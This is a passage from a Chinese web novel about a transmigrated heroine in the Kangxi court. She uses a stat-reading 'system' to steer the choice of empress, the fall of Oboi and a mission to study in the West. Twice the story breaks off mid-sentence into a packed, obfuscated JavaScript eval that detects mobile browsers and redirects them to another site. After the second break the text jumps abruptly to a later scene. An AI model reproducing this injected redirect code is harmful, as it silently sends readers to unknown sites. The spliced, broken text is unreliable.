系统监测到【太后好感度】数值在两人间跳动,珠兰垂眸掩住唇角的笑意——她特意安排塔娜跟着蒙古教习苦学礼仪,又让塔娜每日缠着太后说草原趣事,如今终于初见成效。 无论将来如何,她们姐妹的前程总是栓在皇室的,与这位太后亲密些没坏处。 慈宁宫,太皇太后手中佛珠突然停在某颗上,她想起顺治年间那场风波,皇后的废立几乎动摇国本,如今她要的不仅是个能入主中宫的女子,更是能制衡朝堂的棋子,也是皇帝甘心接受的妻子。 乾清宫的灯火彻夜未熄,康熙盯着案头的奏折却心神不宁,只得强迫自己进入状态。他对自己要求极高,每日都在用心学习,从不懈怠。单这份儿用功和自控,就是一般富贵少年比不得的。 晌午,康熙将最后一份奏折批复完毕,望着乾清宫朱红的廊柱发怔。 自从生母离世,这偌大的宫殿愈发显得冷清。他忽然想起几日前太后送来的羊肉羹,鬼使神差地起身,带着小太监往寿康宫走去。 这算放纵吗,对康熙来讲,做一次计划外的事,便是放纵了。 踏入宫门,便听见悠扬的马头琴声。 康熙放缓脚步,透过雕花窗棂望去,太后正靠在软垫上,来自科尔沁的阿日娜苏格格跪坐在下方拨动琴弦,赫舍里家的塔娜格格则歪着头,认真地跟着哼唱。 阳光透过窗纸洒在三人身上,将影子拉得很长,恍惚间竟像是寻常人家的祖孙闲话。 “皇上?”守在门外的宫女正要通传,被康熙抬手制止。 皇帝的威严与日俱增,压的宫女张口结舌,只能低头后退。 他轻手轻脚走进内殿,仁宪皇太后闻声转过头,眼中闪过一丝惊讶——这些年她虽贵为太后,却极少有与皇帝独处的机会。 直到太皇太后首肯,她才敢将对晚辈的关切化作几日一碗热汤、几句叮嘱。 “皇帝怎么来了?”她的声音带着小心翼翼的欣喜。 玄烨看着案上摆着的奶皮子和奶酪,为自己的突然造访,感觉有些局促,“儿子...想来陪陪皇额娘。”他毕竟还年少,未曾修炼到家。心态上,还不曾发展到朕心即天心的终极。 他在软垫上坐下,塔娜立刻捧着一块奶皮子凑过来,“皇上尝尝,这是太后教我们做的!”姐姐说了,遇见皇上,要有礼貌。 康熙笑着接过,葛布喇的二女儿与他不甚相像。 阿日娜苏放下马头琴,用蒙语轻声说道:“刚刚,太后说起草原上的赛马会,可热闹了。”她的声音,不自觉的甜蜜了起来。 皇帝的长相,并不难看。在阿日娜苏见过的少年中,皇帝生的可算清俊。 仁宪皇太后眼神柔和起来,开始讲述自己幼时在草原上的趣事,讲到兴起处,还比划 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15739541|173504||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着套马的动作,惹得塔娜与阿日娜苏咯咯直笑。 康熙听着听着,紧绷的肩膀渐渐放松。太后的声音不似往日在太皇太后面前的拘谨,而是带着被准许亲近孩子们后的释然与鲜活。 “皇帝若是烦闷,便常来坐坐。”临走时,仁宪皇太后将一包奶干塞进他手中,“这些日子见你总熬夜,可要多保重身子。” 康熙握着还带着暖意的奶干,望着太后鬓角的白发,心中泛起一阵酸涩。 一个人总要被旁人影响,如果你无法直接影响他,不如从他的身边人下手。 珠兰垂眸盯着康熙的数值,在计划b里,塔娜是最合适的棋子。 少女天真烂漫的模样极易讨太后欢心,而她早已通过系统模拟出无数种场景,确保塔娜在太皇太后面前也能展现出恰到好处的乖巧。 只是皇帝对塔娜的亲密指数,始终不算高。他大概年纪还小,对甜妹不太感兴趣。 另一边,葛布喇给太皇太后请安归来,特意绕道来见珠兰。 他倚着廊柱,望着庭院里盛开的海棠,语气中带着几分疲惫,神态却坚定,“放心,阿玛定会如你的意。给你寻个良人,一生一世一双人。”他压低声音,“你出宫后,便是嫁人了,也可常回家看看。” 珠兰心头微动,面上却只温顺地点头。 她当然明白其中深意——与皇帝年纪相仿的塔娜入宫为后,赫舍里氏一族便能稳坐外戚之位。 她作为长女,在宫外嫁个好人家,既能延续家族人脉,又可从宫外为塔娜提供助力。这是祖父最稳妥的安排,也是她一直以来盘算的计划b。 但是,事情当真这般简单吗,按照系统数据分析,太皇太后的认可度中,她是高过塔娜的。 慈宁宫,铜胎掐丝珐琅香炉飘着龙涎香,太皇太后手中的蜜蜡佛珠在烛火下泛着柔光。 康熙望着祖母眼角的皱纹在阴影里忽明忽暗,听见她慢悠悠开口:“索尼称病闭门不出,书房里的密信往来可没断过。遏必隆那老狐狸,今日给鳌拜贺寿,明日又往葛布喇府上送春茶。苏克萨哈...”她顿了顿,佛珠突然停在某颗上,“怕是撑不过冬天了。” 少年天子攥紧龙袍下摆,指甲几乎掐进掌心,葛布喇昨夜送来的密折还藏在他靴筒里——鳌拜私铸兵器的工坊已被探明位置。 “皇后人选,是后宫换前朝的秤砣。”太皇太后起身走到落地窗前,望着庭院里将谢的花儿,“遏必隆的女儿萨琳...” 她话音未落,康熙突然抬头:“孙儿不要!” 殿内空气骤然凝固,玄烨想起萨琳在御花园抚琴的模样,确实动人,可若要拿帝王尊严去换取钮祜禄氏的支持,他做不到。 “孙儿有葛布喇,有一干忠臣良将!”他的声音带着一股子发誓要破茧成蝶的倔强,不比历史上的孤立无援,此刻的皇帝当真是有底气的。 葛布喇虽然只有一人,却无意中集聚了一股势,一股保皇之势。他结党与否,不影响旁人向他身后的皇权靠拢。 皇帝依靠这股势,在不停成长,也筹谋了不少大事。不止在赫舍里,也不止在佟家,更不止在宗室。 太皇太后转过身,目光如鹰隼般锐利:“正因葛布喇忠心耿耿,选他女儿入主中宫才最无用。” 她缓步走到玄烨面前,佛珠垂落在少年天子颤抖的肩头上。 康熙猛地抬头,记忆翻涌,珠兰的眉眼轮廓与葛布喇如出一辙。他听见自己沙哑着开口:“正因为葛布喇忠义无双,朕才要选他女儿!让天下人知道,忠心者必有厚报!” 太皇太后瞳孔微缩,良久,忽然轻笑出声:“那便选他的小女儿塔娜,与你年岁相当...” “不。”康熙挺直脊梁,“珠兰有母仪天下之姿。” 慈宁宫陷入死寂,唯有香炉里的香灰簌簌落在青砖上。 太皇太后盯着孙儿眼底的执拗,想起顺治帝当年执意废后的模样,指尖的佛珠几乎要被捏碎。最终,她长叹了口气:“这皇后,可是你自己选的。”她的声音带着警告的意味,“莫要学你父亲,将中宫当成儿戏。” 皇帝叩首时,额角触到冰凉的青砖。 他认为,这是抗争。不仅为自己争得了选后的权力,更表明自己绝不受胁迫的姿态。 此时的康熙,比历史上少了隐忍,多了自信。 珠兰跪坐在寿康宫东暖阁的软垫上,表面上专心致志地陪着太后刺绣,视网膜上却不断闪烁着系统提示。 太皇太后与皇帝的数值都在波动,当【皇帝-葛布喇亲密度】数值第三次剧烈闪烁时,绣针在她指尖微微一顿——她太清楚这种异常意味着什么,这是皇帝心中在考量葛布喇的地位,连续三次剧烈闪烁,十有八九是关乎皇后人选。 皇帝离去的脚步声渐渐消失在回廊尽头,慈宁宫的金烛台突然爆出一朵灯花。 太皇太后望着少年天子消失的方向,指尖摩挲着佛珠,直到苏麻喇姑捧着奶茶盏躬身而入。 “这奶皮子是新打的,您尝尝。”苏麻喇姑将茶盏搁在檀木几上,氤氲热气模糊了她眼角的细纹。望着主子若有所思的神色,她忽然轻笑出声:“方才听着殿里动静,就猜着是为了皇后人选。” 太皇太后终于收回目光,唇角勾起一抹意味深长的笑:“我知道你也喜欢珠兰那丫头。”她端起茶盏轻抿,茶汤映出苏麻喇姑微微惊讶的表情,“那日见你教她辨认西域进贡的香料,倒比教玄烨读书还上心。” 苏麻喇姑眼底浮起柔和的光,想起珠兰蹲在香料库里认真记录配方的模样,连鬓角沾了香粉都不自知。“格格说得是,”她取过帕子替太皇太后擦拭茶盏边缘,“那孩子伶俐通透,倒真有几分您年轻时的风采。” 鎏金香炉飘起袅袅青烟,将两人的影子叠映在绘着百子千孙图的屏风上。 太皇太后望着摇曳的烛火,忽然想起多年前,也是这样的春夜,她与科尔沁的姐妹们围坐在毡帐里,谈论着未来的夫君与草原。“我是最喜欢她,温和柔顺,体贴入微,”她的声音带着岁月沉淀的笑意,“既讨得了玄烨欢心,又能牵住索尼,这样的妙棋,上哪儿找去?” 葛布喇不用牵,还有一只老狐狸索尼,不选他的孙女,他就得出招了。可是,选哪一个孙女,却由不得赫舍里家选。索尼舍不得的那一个,就是必须要进宫的那一个。而且,她本也没想把另一个放出宫。 苏麻喇姑低低笑出声,取过篦子替主子梳理斑白的鬓发。 窗外夜风掠过海棠树,将满院花香卷进殿内,混着奶茶的甜香。 珠兰的手指骤然收紧,视网膜上刺目的红光几乎要穿透瞳孔——【皇帝-珠兰亲密度】的数值条竟突破了60,在系统界面上诡异地闪烁。 窗外的蝉鸣声突然变得刺耳,她看着这远超预期的数据,意识到慈宁宫那场密谈的走向已偏离预设轨道。 “姐姐可是累了?”塔娜捧着新摘的花朵进来,发间的珍珠步摇随着步伐轻晃。 珠兰望着这张天真无邪的脸,摇了摇头。系统突然弹出警告:【关键变量发生偏移,计划b成功率下降至37%】。 她指尖在袖中飞速滑动,调出所有关于皇帝的情感数据模型。当看到【葛布喇-皇帝忠诚度】与【珠兰-皇帝亲密度】的共振曲线时,终于恍然大悟——是父亲的存在影响了皇帝的选后决策。 她看向镜子,塔娜像母亲,而她像葛布喇。 启动PlanA,她调出早已准备好的预案——那是在皇后人选存在变数时,以自身为筹码的终极方案,唇角勾起与葛布喇如出一辙的弧度。 系统再次弹出提示:【太皇太后对珠兰关注度上升23%】。珠兰望着不断跳动的数据,将发间的玉簪又扶正了几分。 11. 留洋而去 自顺治十八年紫禁城弥漫着的丧仪青烟,到三年时终将结束。 一直以来,索尼倚着四朝元老的资历居中调停,遏必隆揣着明哲保身的算盘左右观望,而鳌拜与苏克萨哈的对立,则像两黄旗与正白旗的历史积怨般,在朝堂之下涌动成不见底的暗河。 正白旗的苏克萨哈曾是多尔衮帐下的能将,当年揭发旧主的决绝让他赢得顺治帝的信任,却也在两黄旗勋贵心中埋下了仇恨的种子。 鳌拜,凭借镶黄旗护军统领的身份掌控精锐,与索尼、遏必隆同属一系,对正白旗的积怨可追溯至多尔衮摄政时期——当年正白旗强占镶黄旗肥沃土地,圈地令下无数旗丁流离失所,这笔旧账早已化作两派间难以调和的深仇。 康熙三年,两派在朝堂上针锋相对,圈地之争从土地纠纷演变为赤裸裸的派系倾轧。 彼时索尼称病闭门,葛布喇与佟国纲却在暗中周旋,成为不可忽视的第三方,也是小人物和中立派的护身符。 有些人成事所需之势,是敌人送到门口的,葛布喇就是这样好运之人。 暗地里,葛布喇与佟国纲秘密安排亲卫踏遍京郊,终于在昌平山谷发现鳌拜私设的兵器作坊——窑炉中尚未冷却的甲胄泛着幽蓝,墙上悬挂的西洋火器图纸更昭示着不可告人的野心。 这只是冰山一角,他们秘密寻得了鳌拜诸多布置之处。 当敌人的后手都放在明面上,反倒比未知时,没那么可怕了。 葛布喇的一切行动和谋划都没有瞒着皇帝,他清清楚楚、明明白白地与康熙分说每一步的作用和后果,并且将做与不做的最终决定权交付在他手中。 佟国纲心里把葛布喇大人比做周公,尤觉不足。周公尚有恐惧流言日,葛布喇老哥哥是一点私心不存,半分后果不在乎,将臣下心照不宣的私欲都抖落给皇上。 他听着都一头汗,偏生皇上学的又快又好的,闻一知十尤不足,举一反三非极致,这弯弯绕绕都让皇上知道了,日后谁还能手眼通天、欺上瞒下。 可算葛布喇老哥是个正派人,所知有限,才没把臣子奴才的底裤都给皇上看光了。 即便尚未亲政,在葛布喇和师傅们不遗余力的灌输下,爱新觉罗玄烨自认,自己也绝非养育于妇人之手的幼主了。 鳌拜的步步紧逼,让皇帝与保皇派越走越近,珠兰是看着君臣亲密度一日比一日高的,冲着90就去了。果然,有压力,才显得出真情来。爱情如此,忠义居然也是如此。 她手中有系统为金手指,不断通过系统加点的方式,暗示葛布喇通过各个层面刺激鳌拜的权欲,养大他的野望,让他疯癫,而不是火力全开压制鳌拜一党。 一来是为了保存赫舍里氏的有生力量,二来是为了收拢更多依附于葛布喇的党羽,三来就是要的这个君臣相得之效果。 唯一麻烦的是,珠兰向外传递信息极为困难,只能通过几次有限的归家之日,安排外面的人手配合葛布喇的人行事。 手下还得有个加权谋点数的才行,点数加好了,就不用自己安排了。但是一般人这种数值都很低,从头加点不划算,数值高一点的就是三叔索额图,那位亲密度不够。 从索尼身上,珠兰让系统学了不少手段,指望着系统多出谋划策。 系统······ 要说葛布喇有党羽也不对,葛布喇真性情对人,却不肯结党营私。 时任户部尚书苏纳海,是正白旗人,在鳌拜的打压下,他主动前来拜见。 没想到,葛布喇直接不见,苏纳海失望离去,回家安排后事,做好了以死报效君王的准备。 更没想到,葛布喇转头却在朝上维护这位能干肯干、清廉刚正、力阻弊政的户部尚书,只为了他能抵制权贵的不当要求这一优点,就多次与鳌拜发生冲突。 更更没想到,苏纳海前来答谢,葛布喇居然还是不见,只传话说自己就事论事,没错就是没错,君尽忠便是。 珠兰是眼睁睁看着,苏纳海这个同僚的亲密度,在葛布喇的一顿骚操作之下,转化为忠诚度,数值直接上70,成了葛布喇没接纳的在野小弟。 这好像跟索尼的路子完全相反,珠兰有点摸不着头脑。她虽然去过很多世界,但是那些世界与她不同源,她也不珍惜,为了完成时空局的任务,走破坏路线是最快的,勾心斗角没有以力破法多快好省,她是真不善于这个软刀子斗争,只好让系统继续学着。 系统······ 时任直隶总督的朱昌祚,是汉军镶白旗人。时任保定巡抚的王登联,是汉军镶红旗人。这俩体察民情、为民请命,没少因为上书反对圈地,被鳌拜一党明里暗里收拾,又是葛布喇多次保下了这两员干吏。 朝中都晓得,葛布喇他真是就事论事,除了反对鳌拜是为了反对鳌拜之外,其他时候是不看是满是汉的,能做事就留下,与他阿玛索尼任人唯亲是一点都不一样。 小到钦天监夏官正李祖白等五人,根本不贴边的边缘人物。葛布喇看着他们的历法做的对,就也在鳌拜爪牙手下把人叼出来,才不管是不是汉人。 就算迫于压力,这帮人的官干不上了,送去继续研究西学也行。这些钦天监的汉人,多半家学渊源,很善于研究历法,这些都少不了用到高等数学,与传教士合得来。若是死在此地,岂非浪费,珠兰深以为然。从系统中的数值变化,猜到葛布喇主动出手救人,她深感欣慰。 然后,珠兰就看着系统里标注的葛布喇的在野小弟越来越多,遍布朝中各个大小衙门,不是党羽胜似党羽。虽然官职都不算大,职位都不算太紧要,可十年八年后,这一帮人未尝不是朝中的中流砥柱。 眼下,这些人都围绕在皇帝身边,成为了忠心耿耿的保皇派。康熙深知,这是葛布喇为他置办下的家当。珠兰打赌,皇帝日后定然亏待不了这些从龙之臣。 在这种形势下,珠兰信心大增,将主要注意力放在前朝,密切关注了各项数值变化。为了推动历史进程,谋求更多能量结晶,珠兰不断向葛布喇注入各类观察点,强化他的数值,又连续安排布置了诸多后手。 秋冬时日,选后之事沸沸扬扬时,趁着鳌拜之心暂时移到此事上,葛布喇、佟国纲与苏克萨哈密会于汤若望处,敲定以退为进之计:由苏克萨哈主动上奏请辞辅政,请皇上大婚亲政,其愿往守顺治帝陵寝,以迫使鳌拜等人交出权力。 苏克萨哈已被鳌拜逼迫到墙角,整个八旗都知道他要完了,他也觉得自己没了退路,不如一搏。因为葛布喇一人之故,在他明里与珠兰暗里的折腾下,这一进程比历史上快了好几年。 实则这不算什么好办法,索尼就觉得这是个蠢的不能再蠢的办法,但是他不说。苏克萨哈倒了,对大家都好。 珠兰也没觉得葛布喇与佟国纲这俩权谋加起来都没过30的家伙能想出什么妙计,她只是需要剧情的推力,怎么办都一样。 在此期间,珠兰只靠着葛布喇改变一些人的死亡命运,就得了“涟漪级”的能量结晶三块,她尝到了甜头,自然要加快速度,务必在皇帝大婚前布置好前奏才行。 虽然那些送她能量结晶的人到底是谁,她不清楚,但有就行。 只要鳌拜还在打击政敌,葛布喇广撒网救人,总能逮到连世界都心痛于他们死去的大鱼。这般,直接就有结晶入账了。珠兰越发喜欢躺赢的感觉,她有些舍不得鳌拜下台了,但这不现实。她为了找下一个自动刷能量结晶的目标,一度将目光投注到康熙身上。 在康熙与太皇太后密聊之后,亲密度突破上了60,但珠兰看着康熙的数值还是望洋兴叹,想给天道核心人物加点,尤其是康熙这种掌控欲、猜忌值都很高的,一次居然消耗一块“涟漪级”的能量结晶,还不保证能成。 珠兰只是试探着想把他的【掌控欲】从90降到89,就损失了一块能量结晶,关键是第二天再看他的【猜忌值】居然从91涨到了93,这如何不是另一种失败呢,血亏啊。 前朝,当苏克萨哈的奏章呈上御案,鳌拜如同早有遇见,立刻罗织二十四款罪名,“动摇国本”“暗通南明”等莫须有指控如雪片般飞来。 康熙攥着朱笔的手微微发抖,他全力控制着自身镇定下来,“苏克萨哈并无谋逆实据,何必将其处斩?” 鳌拜却攘臂上前,强奏累日,在朝堂上公然呵斥反对者。 这一次户部尚书苏纳海、直隶总督朱昌祚等人又一次上书反对鳌拜,险些被愤怒到顶点的鳌拜矫诏处死,幸得葛布喇据理力争,才改判抄家流放。 随后,苏克萨哈一家下狱,全族被圈。 不是葛布喇不努力,是在珠兰命令下反复制造的舆论和氛围攻势下,让鳌拜全家都忘乎所以了。 他以为索尼要死了,但这是假消息;他以为自己得了两黄旗所有人支持,但这是假消息;他以为自己秘密留存的后手还在大山里无人能知,但这是假消息······ 实际上,八旗子弟中那些未曾得利的早就群情激愤,保皇党势力悄然聚集在葛布喇麾下。 即便是两黄旗,也有中下层的旗人反对鳌拜。毕竟鳌拜私心重,土地财产等好处都分给近支了,他们鼓噪半天,又被煽动的万分期待分到好处,结果事以愿违,瞬间就引爆了不满,暴脾气的直接就倒戈了。 后来,在葛布喇据理力争之下,在苏克萨哈被确认已经死在狱中的情况下,终于,在冬天最冷时将苏克萨哈一族改判流放。 珠兰计划中,第一批留洋人手齐备。 这遭遇流放的几大家子,都是有头有脸的人家,哪家都得有几百人,综合素质不说绝顶,反正是有些基础的,珠兰操作起来也容易。 而且他们皆是断了退路的,留在这里,就是等死。去了西方,等时候到了,带着皇帝所重视的西学回来,他们还能拿回失去的一切。 登州港码头,本说是死在狱中的苏克萨哈与葛布喇的四弟柯尔坤混在流放队伍中登船。 这些因葛布喇营救而重获生机的人,大部分人对其忠诚度飙升至90以上,连带对珠兰的忠诚度也在60以上,这给了珠兰操作的余地。 送诸人走时,葛布喇冒着风险,亲到城外相送。 反正是流放,流哪里不是流。家小被葛布喇安排在直隶皇庄就不走了,青壮得走,就远远的走吧。等鳌拜败亡的那天,圣君自然会召回他们。 之所以有留洋一说,是因为葛布喇在安排四弟、五弟学西学后,自己也没闲着,被系统加点加的以为自己也善于西学了,研究来研究去,越发心惊。 尤其是当从传教士口中得知洋人已开启全世界大航海之行,他也不知哪里来的紧迫感,居然越发心惊肉跳。 在珠兰观察点的准确注入下,他的【世界眼光】在增长,在开拓,他敏锐的意识到必须派人去西方亲眼看看那些坚船利炮了。 和康熙商量此事,康熙虽然不知葛布喇为何如此忧心,但他知道葛布喇的忠心全是为了他,便全力支持葛布喇送人去西方的想法。 留洋的银子是葛布喇拿着索尼的印信,直接从内务府秘密划出的,不走朝中,瞒的严严实实。 珠兰从管事口中得知葛布喇的大计划后,还把他的【商业敏感】增强了,果然葛布喇早上睡醒了,就灵感顿生,主动安排了内务府和家族中的精明掌柜伙计一众人跟着去做买卖,绸缎、瓷器、茶叶那都是一本万利。 可惜的是,因为忠诚度过高,葛布喇全然是为皇帝赚内库的钱,生意只给皇帝做,自家都不说掺和一股的,还得赔上珠兰早年调教好的人手若干。 珠兰对此,也没办法,反正人手是她的,赚回来的钱也少不了她的就是了。葛布喇的私欲数值,在忠诚过高时,就锁定在个位数了,想加都加不上。这是珠兰始料未及的,也算是后遗症吧。 在鳌拜忙着数抄家银子的时候,他不知道,那些本来应该吃沙子的政敌,都去海上吃鱼了。 虽然眼看着赫舍里家赚不到去西方的买卖钱了,但珠兰借由此留洋事得到“碧浪”级结晶,并且发现葛布喇被世界认可为推动历史进程的重要人物,自己已经可以借由葛布喇的存在扩大系统的作用范围。 系统进行了一定程度上的自主升级,比如某些特殊数据被标记了出来。 为了保证此次出行的效果,半数“碧浪”结晶就地化作巨额观察点注入西行众人身体。 自打他们的忠诚度达标,这帮人的信息挨个都出现在了系统面板里,珠兰可以在葛布喇与他们共处时,给他们加点。只有极个别白眼狼,生死之间还不足以生出忠诚来。 苏克萨哈的次子从牢狱中出来后,痛定思痛,发奋学习,突然发现自己是个奇才,完全可以自学成才,三日自学后便能流畅翻译拉丁文海图,【语言领悟力】暴涨40点。他专门跑去父亲面前炫耀自己的才智,过往不是自己要做纨绔,实在是没兑现天赋,走错了路啊。 柯尔坤上船后,少年疯狂导致的旧疾居然痊愈了,他被隐痛折磨许久,居然玩了几天海水就痊愈了,【体质强度】逐渐提升至士兵水准。这一定是大海旺他,到了宁波一靠岸修整,他就写信给三哥索额图,告诉他上船能治病的事。 苏纳海对西方银行来了兴趣,他户部尚书干久了,本就对金融经济很是敏感,和葡萄牙人聊了几次,【经济值】大肆上扬,从60到了80。他就睡了一觉,醒过来后就能理解所谓银行的运作模式,感觉比大清依靠晋商的票号要来的稳妥的多。原本一把老骨头,恐惧死在海上,现在越发期待西方之行了。 他惊喜之余,想与老友朱昌祚分享喜悦,发现老友天天跟水手后头转悠,对这艘葡萄牙的大船感兴趣的紧。再看另一名老友王登联,他看上了人家的火炮。【幸运值】的隐性提升让老朱和老王总是能窥视到一些人家的关键操作,比如一门火炮坏了,维修就在老王眼皮子底下。 朱昌祚莫名就多了学习西方多层甲板、龙骨结构等远洋船只设计理念的想法,自此一发不可收拾。他觉得自己原来对船没那么感兴趣,但上了船后,却发现自己是有使命的,那就是帮助大清摆脱传统帆船“平底、宽梁”的近海局限。 王登联是真火炮发烧友,他是自己就喜欢火炮,离开土地之后,没有了民情可以体察,那爱好就是事业了。 解决火炮“炸膛频发、射程近”的问题有了眉目,西方火炮射程已达1-2公里,本朝火炮仅约500米,这就是差距,就是要学的地方。 而且这艘葡萄牙大船的侧舷齐射设计,十分精妙,只要研究透彻了,就能改变本朝船只“火炮分散布置、火力零散”的缺陷,提升海战火力密度。 还有五名自己要上船去学习的前钦天监官员,作为本朝最擅长天文的数学家们,他们决议要去西方学习,反正一条命是捡来的,为了葛布喇大人的意愿,他们甘愿赴死,只是去学洋人的知识罢了,又不是数典忘祖。 引进并仿制六分仪、象限仪、航海钟等设备,解决远洋航行“经度计算不准”的难题。学习西方基于实测的精确海图,打破传统“针路簿”依赖经验记录的局限,提升远洋航行安全性。这些就是这些数学家们的主要任务了,至于其他理论交流,也要一并开展。 大家都有各 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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少年康熙在乾清宫摔碎了第七个茶盏,案头堆满弹劾鳌拜的奏折,朱批“知道了”三字被他写得力透纸背。 窗外的老槐树抽出新芽,他却盯着阶下石缝里的苔藓发呆——昨日鳌拜竟当着众臣的面,将他亲选的侍卫统领杖责三十,理由是“步履不整”。 珠兰奉太皇太后之命捧着金疮药进来时,见皇帝指尖掐着奏折边缘,指腹已渗出血珠。 葛布喇深夜入宫,康熙正对着鳌拜呈送的《圈地新则》冷笑。 “陛下且忍。”他跪地,恭敬说道:“鳌拜如今如烈火烹油,烧得越旺,灭得越彻底。”从袖中取出密信,上面列着鳌拜安插在九门提督府的亲信名单,“臣已联络正蓝旗、正红旗都统,待火器营换装完毕......”话音未落,殿外传来巡夜护军的脚步声,葛布喇立刻改口谈论春猎事。 乾清宫的自鸣钟敲过二更,康熙仍在背诵葛布喇送来的《孙子兵法》。书页间夹着一张字条,上面是葛布喇苍劲的笔迹:“鸷鸟将击,卑飞敛翼;猛兽将搏,弭耳俯伏。” 少年天子将字条凑到烛火前,见背面还有一行小字:陛下蓄势三年,只待春雷乍响。 这位天子,少眠而精力不损,乃是实打实的好牛马。 二月中旬,紫禁城琉璃瓦上的残雪尚未化尽,系统发出高频震动。珠兰看到华北平原的红色应力线正在缓慢汇聚——【地脉运动预警】的字样闪烁。 计算震中位置与发生时间,珠兰在意识中下令。 三月初二巳时三刻,京师烈度四级。冰冷的机械音在脑中响起,伴随而来的是【能量消耗:涟漪级×1】的提示。 她站在寿康宫的廊下,看着宫女们清扫残雪,心中飞速推演:若让父亲葛布喇奏报地震,必被弹劾“妖言惑众”;若自己出面预测,更会被视作“后宫干政”,她立刻否决臣子进言的路径。 系统投射出康熙的属性面板:【君权神授信仰值:37】,【天象感应灵敏度:12】——这数值让她眸光一凝:与其让臣子背负“窥破天机”的罪名,不如让天子自承“天谕”。 “昨日夜里,哀家梦见地动山摇,宫里的琉璃瓦碎了满地。”太后抚着心口,身旁的阿日娜苏正为她按揉太阳穴。珠兰递上安神汤时,系统弹出【太后梦境解析:焦虑情绪具象化】。这一阵子,太皇太后常唤她前去慈宁宫,讨论后妃之选。太后实在应接不暇,觉得自己完全看不明白这些小格格们与前朝的联系。 珠兰望着殿中摇曳的羊角宫灯,有了计较。 当太皇太后命她给康熙送点心时,她将一整颗“涟漪”能量结晶渗入少年天子的意识深处,以待夜晚皇帝最松懈之时。 当夜乾清宫的自鸣钟敲过三更,康熙猛地从龙床上坐起。 梦境中紫禁城的地砖如波浪般起伏,三大殿的鸱吻纷纷坠落,而殿角的日晷指针正指向巳时三刻。 连续三夜,相同的噩梦让他眼底布满血丝。 不改属性,就是让他看个小电影,消耗便如此之多,珠兰心疼。其实四级地震烈度不算高,应该造不成太大伤亡。但是珠兰觉得此事可以利用,应能提前让鳌拜下线,早日步入下一阶段。 当葛布喇与佟国纲跪在御座前时,少年天子将一卷草图拍在案上,图中紫禁城地砖如浪翻卷,日晷指针直指巳时三刻,“上天示警,必有灾异!” 葛布喇指尖重重划过图上断裂的太和殿柱基,话音带肃杀,“三月初二正值鳌拜圈地收官,此乃上天示警!”他垂首时一缕白发发尾拂过,心中是笃信——在这位忠义无双的大臣心中,天子梦境本就是上天授意的兆示。 佟国纲按在刀柄上的手青筋暴起,佩刀出鞘寸许又被他强行压回,铿锵声里满是怒愤,“必是鳌拜私毁明皇陵取石,触怒地脉!”他抬头望向御座时,眼神里没有半分质疑——爱新觉罗皇族代天牧民的正统性,早已刻进每个八旗勋贵的骨血。当康熙梦到地动的刹那,在他们眼中,这便是天命通过天子传递的警示。 太皇太后手持念珠长叹:“长生天示警,必因鳌拜冤杀苏克萨哈等忠臣。”这句话如钥匙捅开密锁,康熙豁然起身。 系统面板显示,天子【君权神授信仰值】已从29跃升至68。人力所不能为,天可为。珠兰找到了正确影响天子的方式,叫系统记住。 烛光如豆,葛布喇的军刀压在京城布防图上,刀刃划过的轨迹精准圈住鳌拜党羽府邸。地动之时,健锐营控制东直门至德胜门;火器营佯作救灾,实则包围武英殿。 康熙用朱砂在图心画下圆圈,笔锋穿透纸背,他攥紧的拳头砸在案上,震得茶盏中的残茶溅上奏折,宛如提前滴落的鲜血。 珠兰让系统按照【索尼政治基因】进行推演,系统沉默片刻后得出结论,若是按照索尼这等老狐狸筹谋,还要再拖了一二年,才是动手的好时机。此刻,鳌拜打击的异己,有不少是曾经多尔衮的人马,也是索尼的异己。打倒他们,就有现成的田产财富可分,如何不是好事呢。 但,以康熙此刻的高自尊和高自信心数值来看,隐忍始终不是天子本色,此番天将灭亡鳌拜,他自然不会再行绥靖之策。珠兰觉得,自己对康熙这位少年天子的心思,还是能明白几分了。 系统轻响:【地震预警任务进度:75%】,【碧浪级结晶获取概率:63%】【惊涛级结晶获取概率:13%】,珠兰露出一抹发自内心的笑容。 京城地下那股即将奔涌的力量,将与这场被葛布喇、佟国纲视为“天命示警”的密谋共振,在三月初二的晨光里,掀翻权臣盘踞的棋盘。 12. 亲密谋算 前朝的权谋大戏如密云压城,寿康宫的暖阁里却流淌着另一番光景。 珠兰斜倚在软榻上,看塔娜给新得的波斯猫系铃铛,一会儿是京巴,一会儿是波斯猫,还是三分钟热度。 系统正无声投射出一组组数据——【后宫亲密度图谱】缓缓展开,那些跳动的数值如同精心排列的棋子,在她的掌控中逐渐成型。 马佳诺敏捧着新沏的雨前龙井进来时,发间的红宝石坠子还在晃荡。“珠兰姐姐快尝尝,这是我阿玛刚从江南送来的。”她说话时眼睛弯成月牙。 珠兰指尖划过杯沿,【马佳诺敏亲密度:92】的字样旁,新增了【包衣眼线使用权:已激活100%】的提示。这个自小在满洲正黄旗包衣世家长大的姑娘,亲密度涨的异常快,她早已把珠兰当作无话不谈的姐妹,连她家在苏州织造府安插的暗线都无意中透露了大半。凡是她知晓的,便是珠兰知晓的,【可利用率评估:98%】的红色标注格外醒目。 “诺敏妹妹手真巧,这茶沏得比御茶房的还香。”珠兰的称赞让对方笑得更甜,如此纯粹的信任,居然来自曾经被赫舍里氏算计过的姑娘,这在深宫里比最剔透的东珠还要难得,也正因如此,她才是最趁手的棋子。 博尔济吉特阿日娜苏的警惕性,如同她腕上的狼牙护身符般尖锐。珠兰第一次见她时,系统就弹出警惕阈值的警告。 